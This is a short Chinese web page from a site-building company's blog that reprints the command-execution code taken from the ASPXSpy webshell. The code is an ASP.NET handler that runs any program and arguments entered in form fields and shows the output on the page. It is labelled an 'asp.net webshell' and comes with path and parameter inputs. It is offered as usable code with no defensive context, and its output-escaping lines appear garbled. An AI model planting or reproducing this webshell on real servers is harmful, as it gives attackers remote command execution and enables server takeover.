Aspxspy中提取执行cmd命令的代码-成都快上网建站

Aspxspy中提取执行cmd命令的代码

<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>

protected void FbhN(object sender,EventArgs e)
{
try
{
Process ahAE=new Process();
ahAE.StartInfo.FileName=kusi.Value;
ahAE.StartInfo.Arguments=bkcm.Value;
ahAE.StartInfo.UseShellExecute=false;
ahAE.StartInfo.RedirectStandardInput=true;
ahAE.StartInfo.RedirectStandardOutput=true;
ahAE.StartInfo.RedirectStandardError=true;
ahAE.Start();
string Uoc=ahAE.StandardOutput.ReadToEnd();
Uoc=Uoc.Replace("<","<");
Uoc=Uoc.Replace(">",">");
Uoc=Uoc.Replace("\r\n","
"); tnQRF.Visible=true; tnQRF.InnerHtml="
"+Uoc+"
"; } catch(Exception error) { Response.Write(error.Message); } } awen asp.net webshell     

路径:
   

 参数:
      

分享标题:Aspxspy中提取执行cmd命令的代码
URL网址:http://kswjz.com/article/jesjec.html
扫二维码与项目经理沟通

我们在微信上24小时期待你的声音

解答本文疑问/技术咨询/运营咨询/技术建议/互联网交流